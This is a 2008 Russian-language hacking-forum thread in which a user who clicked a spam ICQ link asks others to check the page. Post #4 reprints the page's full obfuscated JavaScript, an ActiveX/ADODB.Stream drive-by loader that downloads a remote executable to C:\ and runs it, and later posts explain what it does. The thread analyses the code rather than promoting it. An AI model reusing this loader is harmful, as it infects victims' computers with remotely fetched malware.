ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

лоханул в аське
  #1  
Старый 13.05.2008, 20:53
UID: 54195
USER: console done
console done
Новичок
Регистрация: 13.04.2008
Сообщений: 3
Провел на форуме:
65858

Репутация: 0
Thumbs down лоханул в аське

Думал друг кинул сообщение с ссылкой так как он мне писал и в этот же момент пришла мессага от спамбота , я не заметил. Но перед тем как нажать проверил онлайн докторомвебом мне ничего не выдало и нажал (
Эта ссылка ( не нажимать , кто не в теме ) Там пустая страница и смайлик слева.

Может кто проверить , есть там что ? Стоит последняя лиса и za .
 
Ответить с цитированием

  #2  
Старый 13.05.2008, 20:57
UID: 40167
USER: grishka
grishka
Участник форума
Регистрация: 11.08.2007
Сообщений: 220
Провел на форуме:
3736647

Репутация: 732
По умолчанию

смайл типа тебя поимели
 
Ответить с цитированием

  #3  
Старый 13.05.2008, 21:02
UID: 25035
USER: Petr
Petr
Banned
Регистрация: 10.06.2006
Сообщений: 938
Провел на форуме:
7792614

Репутация: 1223


По умолчанию

Просмотри хтмлку и скопируй сюда
 
Ответить с цитированием

  #4  
Старый 13.05.2008, 21:02
UID: 32147
USER: geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

вот там што )))
Код:
function ZLFZz(){
try {
	var efds='';

  var aZxrwkh = document.createElement("obj"+efds+"e"+efds+"ct");
  aZxrwkh.setAttribute("id","a"+efds+"Zx"+efds+"rwkh");
aZxrwkh.setAttribute("class"+efds+"id","cls"+efds+"i"+efds+"d"+efds+":"+efds+"B"+efds+"D"+efds+"9"+efds+"6C5"+efds+"56-65A3"+efds+"-"+efds+"11D0-"+efds+"983"+efds+"A"+efds+"-"+efds+"00C"+efds+"04FC29E36");
var EkbSUoL = aZxrwkh.CreateObject("adodb"+efds+".stream",'');
var PEELt6 = aZxrwkh.CreateObject("S"+efds+"h"+efds+"el"+efds+"l"+efds+"."+efds+"A"+efds+"pplic"+efds+"ati"+efds+"on",'');
var dnigvr = aZxrwkh.CreateObject("msxml"+efds+"2"+efds+".X"+efds+"ML"+efds+"H"+efds+"T"+efds+"T"+efds+"P",'');
var jx89msS;
jx89msS=document.getElementById("sR28nH").innerText;

  dnigvr.open("G"+efds+"E"+efds+"T",jx89msS,false);
  dnigvr.send();
  EkbSUoL.type = 1;
  EkbSUoL.open();
EkbSUoL.Write(dnigvr.responseBody);
  Frogxa = "c:\\S87ekhV.exe";
EkbSUoL.SaveToFile(Frogxa,2);
eval("PEE"+efds+"Lt6.Shel"+efds+"lExec"+efds+"ute("+efds+"F"+efds+"rog"+efds+"xa);");
  }
  catch(e) {window.location="bof.php"};
  }
сплоент какой то ... через адодб

Последний раз редактировалось geezer.code; 13.05.2008 в 21:05..
 
Ответить с цитированием

  #5  
Старый 13.05.2008, 21:05
UID: 25035
USER: Petr
Petr
Banned
Регистрация: 10.06.2006
Сообщений: 938
Провел на форуме:
7792614

Репутация: 1223


По умолчанию

Типо должен был у тебя бразуер подвиснуть
 
Ответить с цитированием

  #6  
Старый 13.05.2008, 21:08
UID: 54195
USER: console done
console done
Новичок
Регистрация: 13.04.2008
Сообщений: 3
Провел на форуме:
65858

Репутация: 0
По умолчанию

И всё ? Он внедрился в систему ? Его надо удалять?
 
Ответить с цитированием

  #7  
Старый 13.05.2008, 21:09
UID: 32147
USER: geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

он качает какуюто заразу(dnigvr.open("G"+efds+"E"+efds+"T",jx8 9msS,false)
потом сохраняет в корень С
и запускает.

отработал через эксплорер . про файрфокс не знаю.
 
Ответить с цитированием

  #8  
Старый 13.05.2008, 21:11
UID: 52601
USER: Jailer
Jailer
Познающий
Регистрация: 21.03.2008
Сообщений: 62
Провел на форуме:
1415395

Репутация: 81
По умолчанию

Цитата:
Сообщение от console done  
И всё ? Он внедрился в систему ? Его надо удалять?
аааа он внедрился к тебе! Мы все умрём!!!!!
=)))
на самом деле установи норм антивирь и он всё заблочит
 
Ответить с цитированием

  #9  
Старый 13.05.2008, 21:12
UID: 54195
USER: console done
console done
Новичок
Регистрация: 13.04.2008
Сообщений: 3
Провел на форуме:
65858

Репутация: 0
По умолчанию

Ахтунг. Что делать?
 
Ответить с цитированием

  #10  
Старый 13.05.2008, 21:12
UID: 33597
USER: Exlibris
Exlibris
Постоянный
Регистрация: 26.02.2007
Сообщений: 495
Провел на форуме:
3835614

Репутация: 1386
Отправить сообщение для Exlibris с помощью ICQ
По умолчанию

Цитата:
var EkbSUoL
имена функций ппц =) какой то супер тарабарщ кодер ваял =))
--
Ну короче если не пострчно и не вникая во все эти стршные переменные, разобратся то сделалось слудующее:
Функция, в ней сздается элемент(и не один), который в совю очередь на паге фигачит злодеяния(непонятные из за имен переменных(сложно разобратся)), потом короче все это сзодеяние незаметно для тебя открывается, так же открывая с собой файл(похоу вир0с) и отсылая и сохраня его тебе..в самом конце на скрипт bof.php
--
Короче вир0с ты поймал 99%
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Анонимность на Ирке и Аське foreva Статьи 2 29.10.2008 16:26
Как абсолютно анонимно сидеть в аське ? Satman Анонимность 12 12.01.2008 22:35
Новая система в аське Gisher ICQ 24 16.02.2006 16:10
как скрыть ip в аське tatlink ICQ 7 15.09.2005 17:03
ip по аське Zashir ICQ 18 16.07.2005 05:08



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ